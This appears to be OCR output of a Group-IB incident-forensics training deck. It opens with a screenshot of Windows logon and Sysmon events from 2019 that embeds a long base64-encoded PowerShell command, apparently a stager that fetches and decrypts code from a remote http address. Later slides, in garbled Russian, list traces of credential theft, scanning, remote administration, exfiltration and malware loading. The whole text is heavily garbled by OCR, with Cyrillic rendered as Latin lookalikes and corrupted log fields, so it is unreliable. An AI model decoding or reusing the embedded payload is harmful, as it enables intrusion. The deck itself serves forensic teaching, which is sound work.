cAbwBuAFAAJQBIAGwWAaQBJACWAUWB0AGEAdABpAGMAIWAPACAAUWBFAFQAVgBBAEWAVOBFACgAJABUAFUADABMACWAKABOAGUAdWALAEBAYgBKAGUAYWBUACAAQWBPAGWATABFAEMAJABPAESAT gBTACAARWBFAGAARQBYAGKAQWAUAEgAQOBTAGgAUWBFAHOQAWWBT

New Logon: AHQACgBpAE4ARWBAACKAKQBIAFsAUGBFAEYAXQAUAEEAUWBZAEUABQBIAGWAWQAUAECAZQBUAFQAWQBQAEUAKAANAFMAeQBZAHQAZ QBLACAATQBhAGAAYQBNAGUABQBIAGAAdAAUAEEAJQBOAGEABQBhAHQAZQBVAGAAL gBBAGOACWBPAFUAJABPAGWACWANACKATAA/A
Security ID: CUCTEMA HsAJABFAHOAFAAIAHSAJABFACAARWBIAHQARGBIJAEUATABEACAIWBhAGOAcWBPAEKAbgBpAHQARGBhAGKABABIAGQAIWASACCATgBVAGAAUABTAGIAbABpAGMALABTAHOAYQBOAGKAYWANACKALgBTAGUAJABWAEEATABVAEUAKAAKAE4AVOBSAGWALAAKAHQAUGBVAGUAKQ
A e SYSTEM BIADSAFQATAFsAUWBSAFMAVABFAGOALgBOAGUAVAAUAFMAZQByAFYASQBDAEUAUABVAGKAbgBUAEOAQQBOAEEARWBIAHIAXQABADOARQBAAFAARQBAHOAMOQAWADAAQWBVAGAAJABIAGAAIQBIADOAMAATACQAVWBjADOAT gBFAHCALQBPAGIASGBIAEMAJAAGAFMAEQBT
. AHQARQBNAC4ATgBFAFQALgBXAGUAYgBDAGWAaQBIAGAAVAATACQAJQAIACCATOBVAHOAZOBSAGWAYQAVADUAL gAWACAAKABXAGKAbgBKAGEAdWBZACAATgBUACAANGAUADEAOWAGAFCATWBXADYANAATACAAVABYAGKAZABIAGAAJAAVAD CALgAWADSAIABYAHYAOgAX
Account Domain: NT AUTHORITY ADEALgAWACKAIABSAGKAawBIACAARWBIAGMAawBVACcAOWAKAFcAQWAUAEGARQBBAGQAZOBSAFMAL gBBAGOAZAA0ACCAVOBZAGUACGAtAEEAZWBIAGAAJAANACWAIABTACKAOWAKAFcAYWAUAFAAUGBVAHgAeQAIAFsAUWBZAHMAJABFAGOAL gBOAGUAdAAUAFcAZQBIAFI
Legon ID: O0x3E7 ARQBRAFUARQBZzAFQAXQABADOARABFAEYAQQBVAGWAJABXAEUAYgBQAHIATWBAAHKAOWAKAFcAQWAUAFAACgBYAFgAeQAUAEMACGBIAGQAZQBUAFQAaQBBAGWACWAGADOAIABbAFMAEQBZAHQAZQBNACAAT gBIAFQAL gBDAFIAZOBEAEUAT gBUAEKAQQBMAEMAQQOBDAGg
L GUID: 00000000-0000-0000-0000-000000000000 ARQBJAD0AOGBEAEUAZGBBAFUATABOAE4ARQBOAHCATWBYAGSAQWBYAEUARABFAGAAVABIAGEAbABZADSAJABTAGMACgBpAHAAJAABAFAACBYAHgAeQAgADOAIAAKAHCAYWAUAFAACGBVAHgAeQATACOASWAIAFSAUWBSAFMAJABIAGOAL gBUAGUAeABUACAARQBOAGMAD
ogon : { H WBEAGKATgBHAFOAOGABAEEAUWBDAEKASQAUAECAZQBUAEIAWQBOAGUACWA0ACCAXQBOAHEAMQBGACKAYWAJADWAWQATAEYAUGA4AFgALWBCAHYAYQB3AHsAIgA2AC4ARQAADAASWB+ AHOATQAIACCAKQATACQAUGAIAHSAJABEACWAIABLADOAJABBAFIARWBZADSAJABT

ADOAMAAUACAAMgATADUAOWAWACAALgAYADUANQBBACUAewAKAEOAPQACACQASGArACQAUWBbACQAXWBJACSAJABLAFSAJABFACUAJABLACAAQWBPAHUAbgBUAFOAKQAIADIANQA2ADSAJABTAFsAJABFAFOALAAKAFMAWWAKAE0AXQASACQAUWBbACQASgBAACWAIABTA
FsAJABFAFOAFQATACQARABSACUAewAKAEKAPQA0ACQASQATADEAKQAIADIANQA2ADSAJABIADOAKAAKAEGAKWAKAFMAWWAKAEKAXQAPACUAMgATADYAOWAKAFMAWWAKAEKAXQASACQAUWBbACQASABJADOAJABTAFSAJABIAFDALAAKAFMAWWAKAEKAXQATACQAXWALAEIA

Process Information:
eABVAHIAJABTAFSAKAAKAFMAWWAKAEKAXQArACQAUWBbACQASABAACKAIQAYADUANGBAAHOAFQATACQACWBIAHIAPQANAGGAdABOAHAAOgAVACBAMQASADIAL gAXADYAOAAUADEAL gA3ADEAOgA4ADAAIWATACQAJAAIACCALWBUAGUAdWBZACAACABOAHAAIWATACQA

Process ID: Oxlcc WBjACAASABIAEEARABFAFIAUWAUAEEARABKACGAIGBDAGSAbWBrAGKAZQAIACWAIgBzAGUACWBzAGKAbWBUADDANABJAFIAMWBCAFEATABrAECATWArAHCAWQBNAEIAMABZAFQARABIAGCAbwBTAHIANQAVAFUAPQAIACKAOWAKAEQAYQBUAEEAPQAKAFCAQWAUAEQATWBXAGA
Process Name: C:\Windows\System32\services.exe AbABPAGEAZABEAEEAVABBACgAJABZAEUAUGArACQAVAAPADsAJABJAFYAPQAKAEQAYQBUAEEAWWAWACAALgAZAFOAOWAKAEQAYQBUAGEAPQAKAGQAYQBOAEEAWWAOACAALgAKAEQAYQBUAGEALgBMAGUATgBHAFQAaABADSALQBKAESASQBOAFSAQWBIAEEACGBbAFOAXQ
AoACYAIAAKAFIAIAAKAGQAQQOBOAGEAIAA0ACQASQBWACSAJABLACKAKQBBAEKARQBYAA==
2 C:\Windows\system32\
Network Inform ation: NT AUTHORITY\SYSTEM
Workstation Name: EV_RenderedValue_12.00
Source Network Address: - 399
Source Port: - System

MD5=92F44E405DB16AC55D97E3BFE3B132FA, SHA256=6C05E11399B7E3CBED31BAET2014CF249C144A8F4A2C54A758EB2EGFADATAECT
EV_RenderedValue_17.00

1452
Log Name: Se(urity C:\Windows\System32\wbem\WmiPrvSE.exe
: ; : C:\Windows\system32\wbem\wmiprvse.exe -Embedding v

Source: Microsoft Windows security Logged: 5/18/2019 1:21:56 PM

Log Name: Microsoft-Windows-Sysmon/Operational
Event ID: 4624 Task Category' Logon Source: Microsoft-Windows-Sysmor Logged: 5/18/2019 1:21:57 PM
Level: Information Keywords: Audit Success Event ID: 1 Task Category: (1)
User: N/A Computer: IEWIN7.test.com —— b.hnsoe ASPUERES

User: CUCTEMA Computer: IEWIN7 test.com
OpCode: Info OpCode: Info

More Information: Event Log Online Help More Information: Event Log Online Help




GHDUP'iB\

Cnepabl lenctBun Ha OO BbEKTAX

[MogrotoBka Cneapbl Cnenpbl Cneanbl . -

A Abl A A Cnepnbl pencteumn
MCTOYHNKOB nepBUYHOM Cnegbl 3anycka 3aKkpenneHus B pacnpoCcTpaHeHN Ha OB bLeKTax
NHdOpMaLnK KoMnpomMeTtauumm cucrteme 4 Mo cetu




GRDUP‘]B‘

[lony4yeHue ayTeHTUPUKALNOHHBLIX AaHHbIX

Cnepgbl UCronHeHns nporpamMmm, no3BONTARLWNX MOJTYHNTb
AOCTVYI K ayTeHTI/ICbI/IKaLI,I/IOHHbIM AadHHbIM

Cnepgbl co3ganns doannos / gocTtyna K dpannam,
cogepkalimm ayTeHTUPUKALMOHHbIE OaHHbIe

Cnegbl NCMOMHEHMS NporpamMm, npeaHasHa4YeHHbIX ans
nepebopa napornen




GRDUP‘]B‘

Co3aaHue y4yeTHbIX 3anuceu

Cneabl co3gaHua npodunen HOBbIX YY4ETHbLIX 3arncen

Cnegbl ayTeHTUMUKaLUNM C UCNOSb30BaHUEM HOBbIX
YYETHbIX 3annceu




GRDUP‘]B‘

CkaHupoBaHue ceTeBOU MH(PPACTPYKTYPbI

Cneabl UCNOSTHEHUS NporpamMmm, NO3BOSAOLLINX
OCYLLECTBNATL CKaHUpOBaHWE CETEBOUN MHPPACTPYKTYpPbI

cogepxawnm peayribratbl CKAHUPOBaHUA

I Cneabl co3gaHua goamnos / gocTtyna K doannam,




MHcTannsiuma nucnonb3oBaHue MNMporpamm ans 5ROUP ||
yAarieHHOro ynpasrieHuUs

npegHa3Ha4vYeHHbIX And NHCTarraumm nporpamMmm Ans

Cnepgbl co3gaHusa / UCNONMHEHUA dannos,
yaaneHHoro yrnpasneHuns

I Cnenpl 3allyCKa rnporpamm and yaasJieHHOro yrpaBiieHUA

I AHann3 >XypHanos nporpamMm Ans yaaneHHoro ynpasneHus




GRDUP‘]B‘

Kpaxa AaHHbIX

Cnegbl co3gaHns apxmuBoB C AaHHbIMU, UMEKOLLMMUNCA Ha
LeneBon paboyen cTaHUMn nnn cepBepe

Cneppbl 3arpy3ku gaHHbIX HA BED-pecypcehbl

Cnepbl KONMMPOBaHUSA AAaHHbIX C MOMOLLbIO NPorpaMmm A
yOaneHHoro yrnpaBneHus




Mcnonb3oBaHMe nmerLlerocs nporpaMmmMHoOro GRDUP\iB\
obecneyvyeHus

Ha CKOMMPOMETMPOBAaHHbIX cepBepax Unn paboymx

Cnepbl 3anycka nporpaMMHOro obecnevyeHunsl, MMetoLLLerocs
CTaHUMAX

MMEIOLLLEroCcst HA CKOMMPOMETUPOBAHHbIX XOCTaX
nporpaMmmHoro obecrie4eHums

I CosgaHune / moandomnkaumsa dpannoB cpeacTBamm




arpy3ka aonofIHUTeNbHOro Bpe4oOHOCHOIO
noTeHUNanbLHo [sRoUP ||
BPeAOHOCHOrO NPOrpaMMHOro o6ecrneyeHns Unm ero
MmoAayneu

NoTeHUManbHO BPegoHOCHOro NporpamMmHoOro obecnevyeHms

Cnepgbl co3gaHusa / UCNONTHEHUA BPEAOHOCHOIO /
NN ero Mmoayneu

BPeOOHOCHOro NporpaMmMHOro obecneveHust Unn ero
Moayneu

I Cnepbl 3arpy3ku BpegoHOCHOro / NOTEeHLMarbHO




GRDUF"iB‘

| MpakTuka

Ucnonb3oBaHue cpannoB PeecTtpa
NTUSER.DAT v USRGLASS.DAT
ANA peKoOHCTpyKuuun lenctemu
aTakymrouiero




GRDUF"iB‘

| MpakTuka

PeKOHCTPYKUMA TaKTUK U TEXHUK
ATakyrLMX cornacHo matpuue

MITRE ATT&CK Ha ocHOBe
AHanun3a KpUMMHaANUCTUYECKNX KONUN




O komnaHwuu 6ROUP-IB

&

Group-IB — ogHa 13 BeayLnx sireceor. ANINTERPOL
MEXOYHapOaHbIX KOMMaHWM

OdomuymanbHbIN
Mo NpeaoTBPaLLEHUIO N paccnefoBaHuIo Tt FURGROL
KnbepnpecTynneHuin 1 MOLLEHHUYECTB INTERPOL

C UCNOJ1Ib30BAHNEM BbICOKMX TEXHOMNOIMMNA

ForresTER  Gartner

1000+ S300 MIH

yCrMEeLUHbIX BO3BPALLEHO KNNEHTaM Threat Intelligence oT Group-IB -
paccnegoBaHun No BceMy Group-IB 6rniarogaps Haluem B HMCHNE JTyHLINX MNPOBbIX
Munpy, 160 0co60 paboTe CUCTEM MO OLEeHKe Forrester U
CIOXHbIX YronoBHbIX Aen Gartner

O Hac theguardian Bloomberg Forbes
rOBOPSIT:

.2

OSce

PekomeHngoBaHa OpraHusaunen
no 6e3onacHocTU n

coTpyaHuyecTBy B EBpone
(OBCE)

BUSINESS
INSIDER

OpfHa n3 7 caMbix
BNUATENbHbIX

KOMMaHMn B obnacTtu
knbepbeso-

NacHOCTW NO Bepcuu Business
Insider

7 nEPBbIN KAHAN POCCUIMCKAS H3RECTHA BEIOMOCTH

IT'A3ETA

GRDUF"]B‘

WORLD
ECONOMIC
FORUM

N—~

[MOCTOSIHHBIN YNeH
BcemupHoro
9KOHOMUYECKOro popyma

!

1IDC

Analyze the Future

wi

Jlngep poccuinckoro
PbIHKa No
ncernenoBaHuLo
Knbepyrpos

KommepcaHT’




